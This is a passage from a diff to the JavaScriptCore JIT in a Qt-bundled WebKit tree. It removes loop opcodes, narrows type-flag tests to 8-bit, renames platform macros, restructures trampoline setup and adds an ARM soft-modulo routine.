@@ -649,40 +694,6 @@ void JIT::emit_op_strcat(Instruction* currentInstruction)
     stubCall.call(currentInstruction[1].u.operand);
 }
 
-void JIT::emit_op_loop_if_true(Instruction* currentInstruction)
-{
-    unsigned cond = currentInstruction[1].u.operand;
-    unsigned target = currentInstruction[2].u.operand;
-
-    emitTimeoutCheck();
-
-    emitLoad(cond, regT1, regT0);
-
-    Jump isNotInteger = branch32(NotEqual, regT1, Imm32(JSValue::Int32Tag));
-    addJump(branch32(NotEqual, regT0, Imm32(0)), target);
-    Jump isNotZero = jump();
-
-    isNotInteger.link(this);
-
-    addJump(branch32(Equal, regT1, Imm32(JSValue::TrueTag)), target);
-    addSlowCase(branch32(NotEqual, regT1, Imm32(JSValue::FalseTag)));
-
-    isNotZero.link(this);
-}
-
-void JIT::emitSlow_op_loop_if_true(Instruction* currentInstruction, Vector<SlowCaseEntry>::iterator& iter)
-{
-    unsigned cond = currentInstruction[1].u.operand;
-    unsigned target = currentInstruction[2].u.operand;
-
-    linkSlowCase(iter);
-
-    JITStubCall stubCall(this, cti_op_jtrue);
-    stubCall.addArgument(cond);
-    stubCall.call();
-    emitJumpSlowToHot(branchTest32(NonZero, regT0), target);
-}
-
 void JIT::emit_op_resolve_base(Instruction* currentInstruction)
 {
     JITStubCall stubCall(this, cti_op_resolve_base);
@@ -786,7 +797,7 @@ void JIT::emit_op_jfalse(Instruction* currentInstruction)
 
         zeroDouble(fpRegT0);
         emitLoadDouble(cond, fpRegT1);
-        addJump(branchDouble(DoubleEqual, fpRegT0, fpRegT1), target);
+        addJump(branchDouble(DoubleEqualOrUnordered, fpRegT0, fpRegT1), target);
     } else
         addSlowCase(isNotInteger);
 
@@ -858,7 +869,7 @@ void JIT::emit_op_jeq_null(Instruction* currentInstruction)
 
     // First, handle JSCell cases - check MasqueradesAsUndefined bit on the structure.
     loadPtr(Address(regT0, OBJECT_OFFSETOF(JSCell, m_structure)), regT2);
-    addJump(branchTest32(NonZero, Address(regT2, OBJECT_OFFSETOF(Structure, m_typeInfo.m_flags)), Imm32(MasqueradesAsUndefined)), target);
+    addJump(branchTest8(NonZero, Address(regT2, OBJECT_OFFSETOF(Structure, m_typeInfo.m_flags)), Imm32(MasqueradesAsUndefined)), target);
 
     Jump wasNotImmediate = jump();
 
@@ -885,7 +896,7 @@ void JIT::emit_op_jneq_null(Instruction* currentInstruction)
 
     // First, handle JSCell cases - check MasqueradesAsUndefined bit on the structure.
     loadPtr(Address(regT0, OBJECT_OFFSETOF(JSCell, m_structure)), regT2);
-    addJump(branchTest32(Zero, Address(regT2, OBJECT_OFFSETOF(Structure, m_typeInfo.m_flags)), Imm32(MasqueradesAsUndefined)), target);
+    addJump(branchTest8(Zero, Address(regT2, OBJECT_OFFSETOF(Structure, m_typeInfo.m_flags)), Imm32(MasqueradesAsUndefined)), target);
 
     Jump wasNotImmediate = jump();
 
@@ -1198,7 +1209,7 @@ void JIT::emit_op_get_pnames(Instruction* currentInstruction)
         isNotObject.append(branch32(NotEqual, regT1, Imm32(JSValue::CellTag)));
     if (base != m_codeBlock->thisRegister()) {
         loadPtr(Address(regT0, OBJECT_OFFSETOF(JSCell, m_structure)), regT2);
-        isNotObject.append(branch32(NotEqual, Address(regT2, OBJECT_OFFSETOF(Structure, m_typeInfo.m_type)), Imm32(ObjectType)));
+        isNotObject.append(branch8(NotEqual, Address(regT2, OBJECT_OFFSETOF(Structure, m_typeInfo.m_type)), Imm32(ObjectType)));
     }
 
     // We could inline the case where you have a valid cache, but
@@ -1477,7 +1488,7 @@ void JIT::emit_op_convert_this(Instruction* currentInstruction)
     addSlowCase(branch32(NotEqual, regT1, Imm32(JSValue::CellTag)));
 
     loadPtr(Address(regT0, OBJECT_OFFSETOF(JSCell, m_structure)), regT2);
-    addSlowCase(branchTest32(NonZero, Address(regT2, OBJECT_OFFSETOF(Structure, m_typeInfo.m_flags)), Imm32(NeedsThisConversion)));
+    addSlowCase(branchTest8(NonZero, Address(regT2, OBJECT_OFFSETOF(Structure, m_typeInfo.m_flags)), Imm32(NeedsThisConversion)));
 
     map(m_bytecodeIndex + OPCODE_LENGTH(op_convert_this), thisRegister, regT1, regT0);
 }
@@ -1521,8 +1532,12 @@ void JIT::emit_op_profile_did_call(Instruction* currentInstruction)
 #define RECORD_JUMP_TARGET(targetOffset) \
    do { m_labels[m_bytecodeIndex + (targetOffset)].used(); } while (false)
 
-void JIT::privateCompileCTIMachineTrampolines(RefPtr<ExecutablePool>* executablePool, JSGlobalData* globalData, CodePtr* ctiStringLengthTrampoline, CodePtr* ctiVirtualCallLink, CodePtr* ctiVirtualCall, CodePtr* ctiNativeCallThunk)
+void JIT::privateCompileCTIMachineTrampolines(RefPtr<ExecutablePool>* executablePool, JSGlobalData* globalData, TrampolineStructure *trampolines)
 {
+#if ENABLE(JIT_OPTIMIZE_MOD)
+    Label softModBegin = align();
+    softModulo();
+#endif
 #if ENABLE(JIT_OPTIMIZE_PROPERTY_ACCESS)
     // (2) The second function provides fast property access for string length
     Label stringLengthBegin = align();
@@ -1532,8 +1547,7 @@ void JIT::privateCompileCTIMachineTrampolines(RefPtr<ExecutablePool>* executable
     Jump string_failureCases2 = branchPtr(NotEqual, Address(regT0), ImmPtr(m_globalData->jsStringVPtr));
 
     // Checks out okay! - get the length from the Ustring.
-    loadPtr(Address(regT0, OBJECT_OFFSETOF(JSString, m_value) + OBJECT_OFFSETOF(UString, m_rep)), regT0);
-    load32(Address(regT0, OBJECT_OFFSETOF(UString::Rep, len)), regT0);
+    load32(Address(regT0, OBJECT_OFFSETOF(JSString, m_length)), regT0);
 
     Jump string_failureCases3 = branch32(Above, regT0, Imm32(JSImmediate::maxImmediateInt));
 
@@ -1628,7 +1642,7 @@ void JIT::privateCompileCTIMachineTrampolines(RefPtr<ExecutablePool>* executable
     emitPutToCallFrameHeader(regT1, RegisterFile::ScopeChain);
     
 
-#if PLATFORM(X86_64)
+#if CPU(X86_64)
     emitGetFromCallFrameHeader32(RegisterFile::ArgumentCount, X86Registers::ecx);
 
     // Allocate stack space for our arglist
@@ -1664,7 +1678,7 @@ void JIT::privateCompileCTIMachineTrampolines(RefPtr<ExecutablePool>* executable
     call(Address(X86Registers::esi, OBJECT_OFFSETOF(JSFunction, m_data)));
     
     addPtr(Imm32(sizeof(ArgList)), stackPointerRegister);
-#elif PLATFORM(X86)
+#elif CPU(X86)
     emitGetFromCallFrameHeader32(RegisterFile::ArgumentCount, regT0);
 
     /* We have two structs that we use to describe the stackframe we set up for our
@@ -1675,7 +1689,7 @@ void JIT::privateCompileCTIMachineTrampolines(RefPtr<ExecutablePool>* executable
      * not the rest of the callframe so we need a nice way to ensure we increment the
      * stack pointer by the right amount after the call.
      */
-#if COMPILER(MSVC) || PLATFORM(LINUX)
+#if COMPILER(MSVC) || OS(LINUX)
     struct NativeCallFrameStructure {
       //  CallFrame* callFrame; // passed in EDX
         JSObject* callee;
@@ -1728,7 +1742,7 @@ void JIT::privateCompileCTIMachineTrampolines(RefPtr<ExecutablePool>* executable
     loadPtr(Address(regT1, -(int)sizeof(Register)), regT1);
     storePtr(regT1, Address(stackPointerRegister, OBJECT_OFFSETOF(NativeCallFrameStructure, thisValue)));
 
-#if COMPILER(MSVC) || PLATFORM(LINUX)
+#if COMPILER(MSVC) || OS(LINUX)
     // ArgList is passed by reference so is stackPointerRegister + 4 * sizeof(Register)
     addPtr(Imm32(OBJECT_OFFSETOF(NativeCallFrameStructure, result)), stackPointerRegister, X86Registers::ecx);
 
@@ -1756,7 +1770,7 @@ void JIT::privateCompileCTIMachineTrampolines(RefPtr<ExecutablePool>* executable
     // so pull them off now
     addPtr(Imm32(NativeCallFrameSize - sizeof(NativeFunctionCalleeSignature)), stackPointerRegister);
 
-#elif PLATFORM(ARM_TRADITIONAL)
+#elif CPU(ARM)
     emitGetFromCallFrameHeader32(RegisterFile::ArgumentCount, regT0);
 
     // Allocate stack space for our arglist
@@ -1780,7 +1794,30 @@ void JIT::privateCompileCTIMachineTrampolines(RefPtr<ExecutablePool>* executable
     // push pointer to arguments
     storePtr(regT1, Address(stackPointerRegister, OBJECT_OFFSETOF(ArgList, m_args)));
 
-    // Setup arg3: regT1 currently points to the first argument, regT1-sizeof(Register) points to 'this'
+    // regT1 currently points to the first argument, regT1-sizeof(Register) points to 'this'
+
+#if OS(WINCE)
+    // Setup arg3:
+    loadPtr(Address(regT1, -(int32_t)sizeof(Register)), ARMRegisters::r3);
+
+    // Setup arg2:
+    emitGetFromCallFrameHeaderPtr(RegisterFile::Callee, regT2);
+
+    // Setup arg1:
+    move(callFrameRegister, regT1);
+
+    // Setup arg0:
+    move(stackPointerRegister, regT0);
+    subPtr(Imm32(sizeof(Register)), stackPointerRegister);
+    storePtr(regT0, Address(stackPointerRegister));
+
+    call(Address(regT2, OBJECT_OFFSETOF(JSFunction, m_data)));
+
+    loadPtr(Address(regT0), regT0);
+
+    addPtr(Imm32(sizeof(Register) + sizeof(ArgList)), stackPointerRegister);
+#else // OS(WINCE)
+    // Setup arg3:
     loadPtr(Address(regT1, -(int32_t)sizeof(Register)), regT2);
 
     // Setup arg2:
@@ -1790,11 +1827,12 @@ void JIT::privateCompileCTIMachineTrampolines(RefPtr<ExecutablePool>* executable
     move(callFrameRegister, regT0);
 
     // Setup arg4: This is a plain hack
-    move(stackPointerRegister, ARMRegisters::S0);
+    move(stackPointerRegister, ARMRegisters::r3);
 
     call(Address(regT1, OBJECT_OFFSETOF(JSFunction, m_data)));
 
     addPtr(Imm32(sizeof(ArgList)), stackPointerRegister);
+#endif // OS(WINCE)
 
 #elif ENABLE(JIT_OPTIMIZE_NATIVE_CALL)
 #error "JIT_OPTIMIZE_NATIVE_CALL not yet supported on this platform."
@@ -1854,11 +1892,14 @@ void JIT::privateCompileCTIMachineTrampolines(RefPtr<ExecutablePool>* executable
     CodeRef finalCode = patchBuffer.finalizeCode();
     *executablePool = finalCode.m_executablePool;
 
-    *ctiVirtualCallLink = trampolineAt(finalCode, virtualCallLinkBegin);
-    *ctiVirtualCall = trampolineAt(finalCode, virtualCallBegin);
-    *ctiNativeCallThunk = trampolineAt(finalCode, nativeCallThunk);
+    trampolines->ctiVirtualCallLink = trampolineAt(finalCode, virtualCallLinkBegin);
+    trampolines->ctiVirtualCall = trampolineAt(finalCode, virtualCallBegin);
+    trampolines->ctiNativeCallThunk = trampolineAt(finalCode, nativeCallThunk);
+#if ENABLE(JIT_OPTIMIZE_MOD)
+    trampolines->ctiSoftModulo = trampolineAt(finalCode, softModBegin);
+#endif
 #if ENABLE(JIT_OPTIMIZE_PROPERTY_ACCESS)
-    *ctiStringLengthTrampoline = trampolineAt(finalCode, stringLengthBegin);
+    trampolines->ctiStringLengthTrampoline = trampolineAt(finalCode, stringLengthBegin);
 #else
     UNUSED_PARAM(ctiStringLengthTrampoline);
 #endif
@@ -1902,47 +1943,6 @@ void JIT::emit_op_jmp(Instruction* currentInstruction)
     RECORD_JUMP_TARGET(target);
 }
 
-void JIT::emit_op_loop(Instruction* currentInstruction)
-{
-    emitTimeoutCheck();
-
-    unsigned target = currentInstruction[1].u.operand;
-    addJump(jump(), target);
-}
-
-void JIT::emit_op_loop_if_less(Instruction* currentInstruction)
-{
-    emitTimeoutCheck();
-
-    unsigned op1 = currentInstruction[1].u.operand;
-    unsigned op2 = currentInstruction[2].u.operand;
-    unsigned target = currentInstruction[3].u.operand;
-    if (isOperandConstantImmediateInt(op2)) {
-        emitGetVirtualRegister(op1, regT0);
-        emitJumpSlowCaseIfNotImmediateInteger(regT0);
-#if USE(JSVALUE64)
-        int32_t op2imm = getConstantOperandImmediateInt(op2);
-#else
-        int32_t op2imm = static_cast<int32_t>(JSImmediate::rawValue(getConstantOperand(op2)));
-#endif
-        addJump(branch32(LessThan, regT0, Imm32(op2imm)), target);
-    } else if (isOperandConstantImmediateInt(op1)) {
-        emitGetVirtualRegister(op2, regT0);
-        emitJumpSlowCaseIfNotImmediateInteger(regT0);
-#if USE(JSVALUE64)
-        int32_t op1imm = getConstantOperandImmediateInt(op1);
-#else
-        int32_t op1imm = static_cast<int32_t>(JSImmediate::rawValue(getConstantOperand(op1)));
-#endif
-        addJump(branch32(GreaterThan, regT0, Imm32(op1imm)), target);
-    } else {
-        emitGetVirtualRegisters(op1, regT0, op2, regT1);
-        emitJumpSlowCaseIfNotImmediateInteger(regT0);
-        emitJumpSlowCaseIfNotImmediateInteger(regT1);
-        addJump(branch32(LessThan, regT0, regT1), target);
-    }
-}
-
 void JIT::emit_op_loop_if_lesseq(Instruction* currentInstruction)
 {
     emitTimeoutCheck();
@@ -1992,7 +1992,7 @@ void JIT::emit_op_instanceof(Instruction* currentInstruction)
 
     // Check that baseVal 'ImplementsDefaultHasInstance'.
     loadPtr(Address(regT0, OBJECT_OFFSETOF(JSCell, m_structure)), regT0);
-    addSlowCase(branchTest32(Zero, Address(regT0, OBJECT_OFFSETOF(Structure, m_typeInfo.m_flags)), Imm32(ImplementsDefaultHasInstance)));
+    addSlowCase(branchTest8(Zero, Address(regT0, OBJECT_OFFSETOF(Structure, m_typeInfo.m_flags)), Imm32(ImplementsDefaultHasInstance)));
 
     // Optimistically load the result true, and start looping.
     // Initially, regT1 still contains proto and regT2 still contains value.
@@ -2153,7 +2153,7 @@ void JIT::emit_op_construct_verify(Instruction* currentInstruction)
 
     emitJumpSlowCaseIfNotJSCell(regT0);
     loadPtr(Address(regT0, OBJECT_OFFSETOF(JSCell, m_structure)), regT2);
-    addSlowCase(branch32(NotEqual, Address(regT2, OBJECT_OFFSETOF(Structure, m_typeInfo) + OBJECT_OFFSETOF(TypeInfo, m_type)), Imm32(ObjectType)));
+    addSlowCase(branch8(NotEqual, Address(regT2, OBJECT_OFFSETOF(Structure, m_typeInfo.m_type)), Imm32(ObjectType)));
 
 }
 
@@ -2181,21 +2181,6 @@ void JIT::emit_op_strcat(Instruction* currentInstruction)
     stubCall.call(currentInstruction[1].u.operand);
 }
 
-void JIT::emit_op_loop_if_true(Instruction* currentInstruction)
-{
-    emitTimeoutCheck();
-
-    unsigned target = currentInstruction[2].u.operand;
-    emitGetVirtualRegister(currentInstruction[1].u.operand, regT0);
-
-    Jump isZero = branchPtr(Equal, regT0, ImmPtr(JSValue::encode(jsNumber(m_globalData, 0))));
-    addJump(emitJumpIfImmediateInteger(regT0), target);
-
-    addJump(branchPtr(Equal, regT0, ImmPtr(JSValue::encode(jsBoolean(true)))), target);
-    addSlowCase(branchPtr(NotEqual, regT0, ImmPtr(JSValue::encode(jsBoolean(false)))));
-
-    isZero.link(this);
-};
 void JIT::emit_op_resolve_base(Instruction* currentInstruction)
 {
     JITStubCall stubCall(this, cti_op_resolve_base);
@@ -2277,7 +2262,7 @@ void JIT::emit_op_jeq_null(Instruction* currentInstruction)
 
     // First, handle JSCell cases - check MasqueradesAsUndefined bit on the structure.
     loadPtr(Address(regT0, OBJECT_OFFSETOF(JSCell, m_structure)), regT2);
-    addJump(branchTest32(NonZero, Address(regT2, OBJECT_OFFSETOF(Structure, m_typeInfo.m_flags)), Imm32(MasqueradesAsUndefined)), target);
+    addJump(branchTest8(NonZero, Address(regT2, OBJECT_OFFSETOF(Structure, m_typeInfo.m_flags)), Imm32(MasqueradesAsUndefined)), target);
     Jump wasNotImmediate = jump();
 
     // Now handle the immediate cases - undefined & null
@@ -2298,7 +2283,7 @@ void JIT::emit_op_jneq_null(Instruction* currentInstruction)
 
     // First, handle JSCell cases - check MasqueradesAsUndefined bit on the structure.
     loadPtr(Address(regT0, OBJECT_OFFSETOF(JSCell, m_structure)), regT2);
-    addJump(branchTest32(Zero, Address(regT2, OBJECT_OFFSETOF(Structure, m_typeInfo.m_flags)), Imm32(MasqueradesAsUndefined)), target);
+    addJump(branchTest8(Zero, Address(regT2, OBJECT_OFFSETOF(Structure, m_typeInfo.m_flags)), Imm32(MasqueradesAsUndefined)), target);
     Jump wasNotImmediate = jump();
 
     // Now handle the immediate cases - undefined & null
@@ -2454,7 +2439,7 @@ void JIT::emit_op_get_pnames(Instruction* currentInstruction)
         isNotObject.append(emitJumpIfNotJSCell(regT0));
     if (base != m_codeBlock->thisRegister()) {
         loadPtr(Address(regT0, OBJECT_OFFSETOF(JSCell, m_structure)), regT2);
-        isNotObject.append(branch32(NotEqual, Address(regT2, OBJECT_OFFSETOF(Structure, m_typeInfo.m_type)), Imm32(ObjectType)));
+        isNotObject.append(branch8(NotEqual, Address(regT2, OBJECT_OFFSETOF(Structure, m_typeInfo.m_type)), Imm32(ObjectType)));
     }
 
     // We could inline the case where you have a valid cache, but
@@ -2605,7 +2590,7 @@ void JIT::emit_op_to_jsnumber(Instruction* currentInstruction)
 
     emitJumpSlowCaseIfNotJSCell(regT0, srcVReg);
     loadPtr(Address(regT0, OBJECT_OFFSETOF(JSCell, m_structure)), regT2);
-    addSlowCase(branch32(NotEqual, Address(regT2, OBJECT_OFFSETOF(Structure, m_typeInfo.m_type)), Imm32(NumberType)));
+    addSlowCase(branch8(NotEqual, Address(regT2, OBJECT_OFFSETOF(Structure, m_typeInfo.m_type)), Imm32(NumberType)));
     
     wasImmediate.link(this);
 
@@ -2716,7 +2701,7 @@ void JIT::emit_op_eq_null(Instruction* currentInstruction)
     Jump isImmediate = emitJumpIfNotJSCell(regT0);
 
     loadPtr(Address(regT0, OBJECT_OFFSETOF(JSCell, m_structure)), regT2);
-    setTest32(NonZero, Address(regT2, OBJECT_OFFSETOF(Structure, m_typeInfo.m_flags)), Imm32(MasqueradesAsUndefined), regT0);
+    setTest8(NonZero, Address(regT2, OBJECT_OFFSETOF(Structure, m_typeInfo.m_flags)), Imm32(MasqueradesAsUndefined), regT0);
 
     Jump wasNotImmediate = jump();
 
@@ -2741,7 +2726,7 @@ void JIT::emit_op_neq_null(Instruction* currentInstruction)
     Jump isImmediate = emitJumpIfNotJSCell(regT0);
 
     loadPtr(Address(regT0, OBJECT_OFFSETOF(JSCell, m_structure)), regT2);
-    setTest32(Zero, Address(regT2, OBJECT_OFFSETOF(Structure, m_typeInfo.m_flags)), Imm32(MasqueradesAsUndefined), regT0);
+    setTest8(Zero, Address(regT2, OBJECT_OFFSETOF(Structure, m_typeInfo.m_flags)), Imm32(MasqueradesAsUndefined), regT0);
 
     Jump wasNotImmediate = jump();
 
@@ -2801,7 +2786,7 @@ void JIT::emit_op_convert_this(Instruction* currentInstruction)
 
     emitJumpSlowCaseIfNotJSCell(regT0);
     loadPtr(Address(regT0, OBJECT_OFFSETOF(JSCell, m_structure)), regT1);
-    addSlowCase(branchTest32(NonZero, Address(regT1, OBJECT_OFFSETOF(Structure, m_typeInfo.m_flags)), Imm32(NeedsThisConversion)));
+    addSlowCase(branchTest8(NonZero, Address(regT1, OBJECT_OFFSETOF(Structure, m_typeInfo.m_flags)), Imm32(NeedsThisConversion)));
 
 }
 
@@ -2875,36 +2860,6 @@ void JIT::emitSlow_op_get_by_val(Instruction* currentInstruction, Vector<SlowCas
     stubCall.call(dst);
 }
 
-void JIT::emitSlow_op_loop_if_less(Instruction* currentInstruction, Vector<SlowCaseEntry>::iterator& iter)
-{
-    unsigned op1 = currentInstruction[1].u.operand;
-    unsigned op2 = currentInstruction[2].u.operand;
-    unsigned target = currentInstruction[3].u.operand;
-    if (isOperandConstantImmediateInt(op2)) {
-        linkSlowCase(iter);
-        JITStubCall stubCall(this, cti_op_loop_if_less);
-        stubCall.addArgument(regT0);
-        stubCall.addArgument(op2, regT2);
-        stubCall.call();
-        emitJumpSlowToHot(branchTest32(NonZero, regT0), target);
-    } else if (isOperandConstantImmediateInt(op1)) {
-        linkSlowCase(iter);
-        JITStubCall stubCall(this, cti_op_loop_if_less);
-        stubCall.addArgument(op1, regT2);
-        stubCall.addArgument(regT0);
-        stubCall.call();
-        emitJumpSlowToHot(branchTest32(NonZero, regT0), target);
-    } else {
-        linkSlowCase(iter);
-        linkSlowCase(iter);
-        JITStubCall stubCall(this, cti_op_loop_if_less);
-        stubCall.addArgument(regT0);
-        stubCall.addArgument(regT1);
-        stubCall.call();
-        emitJumpSlowToHot(branchTest32(NonZero, regT0), target);
-    }
-}
-
 void JIT::emitSlow_op_loop_if_lesseq(Instruction* currentInstruction, Vector<SlowCaseEntry>::iterator& iter)
 {
     unsigned op2 = currentInstruction[2].u.operand;
@@ -2945,15 +2900,6 @@ void JIT::emitSlow_op_put_by_val(Instruction* currentInstruction, Vector<SlowCas
     stubPutByValCall.call();
 }
 
-void JIT::emitSlow_op_loop_if_true(Instruction* currentInstruction, Vector<SlowCaseEntry>::iterator& iter)
-{
-    linkSlowCase(iter);
-    JITStubCall stubCall(this, cti_op_jtrue);
-    stubCall.addArgument(regT0);
-    stubCall.call();
-    emitJumpSlowToHot(branchTest32(NonZero, regT0), currentInstruction[2].u.operand);
-}
-
 void JIT::emitSlow_op_not(Instruction* currentInstruction, Vector<SlowCaseEntry>::iterator& iter)
 {
     linkSlowCase(iter);
@@ -3100,6 +3046,81 @@ void JIT::emitSlow_op_to_jsnumber(Instruction* currentInstruction, Vector<SlowCa
 
 #endif // USE(JSVALUE32_64)
 
+// For both JSValue32_64 and JSValue32
+#if ENABLE(JIT_OPTIMIZE_MOD)
+#if CPU(ARM_TRADITIONAL)
+void JIT::softModulo()
+{
+    push(regS0);
+    push(regS1);
+    push(regT1);
+    push(regT3);
+#if USE(JSVALUE32_64)
+    m_assembler.mov_r(regT3, regT2);
+    m_assembler.mov_r(regT2, regT0);
+#else
+    m_assembler.mov_r(regT3, m_assembler.asr(regT2, 1));
+    m_assembler.mov_r(regT2, m_assembler.asr(regT0, 1));
+#endif
+    m_assembler.mov_r(regT1, ARMAssembler::getOp2(0));
+    
+    m_assembler.teq_r(regT3, ARMAssembler::getOp2(0));
+    m_assembler.rsb_r(regT3, regT3, ARMAssembler::getOp2(0), ARMAssembler::MI);
+    m_assembler.eor_r(regT1, regT1, ARMAssembler::getOp2(1), ARMAssembler::MI);
+    
+    m_assembler.teq_r(regT2, ARMAssembler::getOp2(0));
+    m_assembler.rsb_r(regT2, regT2, ARMAssembler::getOp2(0), ARMAssembler::MI);
+    m_assembler.eor_r(regT1, regT1, ARMAssembler::getOp2(2), ARMAssembler::MI);
+    
+    Jump exitBranch = branch32(LessThan, regT2, regT3);
+
+    m_assembler.sub_r(regS1, regT3, ARMAssembler::getOp2(1));
+    m_assembler.tst_r(regS1, regT3);
+    m_assembler.and_r(regT2, regT2, regS1, ARMAssembler::EQ);
+    m_assembler.and_r(regT0, regS1, regT3);
+    Jump exitBranch2 = branchTest32(Zero, regT0);
+    
+    m_assembler.clz_r(regS1, regT2);
+    m_assembler.clz_r(regS0, regT3);
+    m_assembler.sub_r(regS0, regS0, regS1);
+
+    m_assembler.rsbs_r(regS0, regS0, ARMAssembler::getOp2(31));
+
+    m_assembler.mov_r(regS0, m_assembler.lsl(regS0, 1), ARMAssembler::NE);
+
+    m_assembler.add_r(ARMRegisters::pc, ARMRegisters::pc, m_assembler.lsl(regS0, 2), ARMAssembler::NE);
+    m_assembler.mov_r(regT0, regT0);
+    
+    for (int i = 31; i > 0; --i) {
+        m_assembler.cmp_r(regT2, m_assembler.lsl(regT3, i));
+        m_assembler.sub_r(regT2, regT2, m_assembler.lsl(regT3, i), ARMAssembler::CS);
+    }
+
+    m_assembler.cmp_r(regT2, regT3);
+    m_assembler.sub_r(regT2, regT2, regT3, ARMAssembler::CS);
+    
+    exitBranch.link(this);
+    exitBranch2.link(this);
+    
+    m_assembler.teq_r(regT1, ARMAssembler::getOp2(0));
+    m_assembler.rsb_r(regT2, regT2, ARMAssembler::getOp2(0), ARMAssembler::GT);
+    
+#if USE(JSVALUE32_64)
+    m_assembler.mov_r(regT0, regT2);
+#else
+    m_assembler.mov_r(regT0, m_assembler.lsl(regT2, 1));
+    m_assembler.eor_r(regT0, regT0, ARMAssembler::getOp2(1));
+#endif
+    pop(regT3);
+    pop(regT1);
+    pop(regS1);
+    pop(regS0);
+    ret();
+}
+#else
+#error "JIT_OPTIMIZE_MOD not yet supported on this platform."
+#endif // CPU(ARM_TRADITIONAL)
+#endif
 } // namespace JSC
 
 #endif // ENABLE(JIT)
diff --git a/src/3rdparty/webkit/JavaScriptCore/jit/JITPropertyAccess.cpp b/src/3rdparty/webkit/JavaScriptCore/jit/JITPropertyAccess.cpp
index bf367a6..3399f03 100644
--- a/src/3rdparty/webkit/JavaScriptCore/jit/JITPropertyAccess.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/jit/JITPropertyAccess.cpp
@@ -24,11 +24,15 @@
  */
 
 #include "config.h"
+
+#if !USE(JSVALUE32_64)
+
 #include "JIT.h"
 
 #if ENABLE(JIT)
 
 #include "CodeBlock.h"
+#include "GetterSetter.h"
 #include "JITInlineMethods.h"
 #include "JITStubCall.h"
 #include "JSArray.h"
@@ -48,958 +52,6 @@ using namespace std;
 
 namespace JSC {
 
-#if USE(JSVALUE32_64)
-
-void JIT::emit_op_put_by_index(Instruction* currentInstruction)
-{
-    unsigned base = currentInstruction[1].u.operand;
-    unsigned property = currentInstruction[2].u.operand;
-    unsigned value = currentInstruction[3].u.operand;
-
-    JITStubCall stubCall(this, cti_op_put_by_index);
-    stubCall.addArgument(base);
-    stubCall.addArgument(Imm32(property));
-    stubCall.addArgument(value);
-    stubCall.call();
-}
-
-void JIT::emit_op_put_getter(Instruction* currentInstruction)
-{
-    unsigned base = currentInstruction[1].u.operand;
-    unsigned property = currentInstruction[2].u.operand;
-    unsigned function = currentInstruction[3].u.operand;
-
-    JITStubCall stubCall(this, cti_op_put_getter);
-    stubCall.addArgument(base);
-    stubCall.addArgument(ImmPtr(&m_codeBlock->identifier(property)));
-    stubCall.addArgument(function);
-    stubCall.call();
-}
-
-void JIT::emit_op_put_setter(Instruction* currentInstruction)
-{
-    unsigned base = currentInstruction[1].u.operand;
-    unsigned property = currentInstruction[2].u.operand;
-    unsigned function = currentInstruction[3].u.operand;
-
-    JITStubCall stubCall(this, cti_op_put_setter);
-    stubCall.addArgument(base);
-    stubCall.addArgument(ImmPtr(&m_codeBlock->identifier(property)));
-    stubCall.addArgument(function);
-    stubCall.call();
-}
-
-void JIT::emit_op_del_by_id(Instruction* currentInstruction)
-{
-    unsigned dst = currentInstruction[1].u.operand;
-    unsigned base = currentInstruction[2].u.operand;
-    unsigned property = currentInstruction[3].u.operand;
-
-    JITStubCall stubCall(this, cti_op_del_by_id);
-    stubCall.addArgument(base);
-    stubCall.addArgument(ImmPtr(&m_codeBlock->identifier(property)));
-    stubCall.call(dst);
-}
-
-
-#if !ENABLE(JIT_OPTIMIZE_PROPERTY_ACCESS)
-
-/* ------------------------------ BEGIN: !ENABLE(JIT_OPTIMIZE_PROPERTY_ACCESS) ------------------------------ */
-
-// Treat these as nops - the call will be handed as a regular get_by_id/op_call pair.
-void JIT::emit_op_method_check(Instruction*) {}
-void JIT::emitSlow_op_method_check(Instruction*, Vector<SlowCaseEntry>::iterator&) { ASSERT_NOT_REACHED(); }
-#if ENABLE(JIT_OPTIMIZE_METHOD_CALLS)
-#error "JIT_OPTIMIZE_METHOD_CALLS requires JIT_OPTIMIZE_PROPERTY_ACCESS"
-#endif
-
-void JIT::emit_op_get_by_val(Instruction* currentInstruction)
-{
-    unsigned dst = currentInstruction[1].u.operand;
-    unsigned base = currentInstruction[2].u.operand;
-    unsigned property = currentInstruction[3].u.operand;
-
-    JITStubCall stubCall(this, cti_op_get_by_val);
-    stubCall.addArgument(base);
-    stubCall.addArgument(property);
-    stubCall.call(dst);
-}
-
-void JIT::emitSlow_op_get_by_val(Instruction*, Vector<SlowCaseEntry>::iterator&)
-{
-    ASSERT_NOT_REACHED();
-}
-
-void JIT::emit_op_put_by_val(Instruction* currentInstruction)
-{
-    unsigned base = currentInstruction[1].u.operand;
-    unsigned property = currentInstruction[2].u.operand;
-    unsigned value = currentInstruction[3].u.operand;
-
-    JITStubCall stubCall(this, cti_op_put_by_val);
-    stubCall.addArgument(base);
-    stubCall.addArgument(property);
-    stubCall.addArgument(value);
-    stubCall.call();
-}
-
-void JIT::emitSlow_op_put_by_val(Instruction*, Vector<SlowCaseEntry>::iterator&)
-{
-    ASSERT_NOT_REACHED();
-}
-
-void JIT::emit_op_get_by_id(Instruction* currentInstruction)
-{
-    int dst = currentInstruction[1].u.operand;
-    int base = currentInstruction[2].u.operand;
-    int ident = currentInstruction[3].u.operand;
-
-    JITStubCall stubCall(this, cti_op_get_by_id_generic);
-    stubCall.addArgument(base);
-    stubCall.addArgument(ImmPtr(&(m_codeBlock->identifier(ident))));
-    stubCall.call(dst);
-
-    m_propertyAccessInstructionIndex++;
-}
-
-void JIT::emitSlow_op_get_by_id(Instruction*, Vector<SlowCaseEntry>::iterator&)
-{
-    m_propertyAccessInstructionIndex++;
-    ASSERT_NOT_REACHED();
-}
-
-void JIT::emit_op_put_by_id(Instruction* currentInstruction)
-{
-    int base = currentInstruction[1].u.operand;
-    int ident = currentInstruction[2].u.operand;
-    int value = currentInstruction[3].u.operand;
-
-    JITStubCall stubCall(this, cti_op_put_by_id_generic);
-    stubCall.addArgument(base);
-    stubCall.addArgument(ImmPtr(&(m_codeBlock->identifier(ident))));
-    stubCall.addArgument(value);
-    stubCall.call();
-
-    m_propertyAccessInstructionIndex++;
-}
-
-void JIT::emitSlow_op_put_by_id(Instruction*, Vector<SlowCaseEntry>::iterator&)
-{
-    m_propertyAccessInstructionIndex++;
-    ASSERT_NOT_REACHED();
-}
-
-#else // !ENABLE(JIT_OPTIMIZE_PROPERTY_ACCESS)
-
-/* ------------------------------ BEGIN: ENABLE(JIT_OPTIMIZE_PROPERTY_ACCESS) ------------------------------ */
-
-#if ENABLE(JIT_OPTIMIZE_METHOD_CALLS)
-
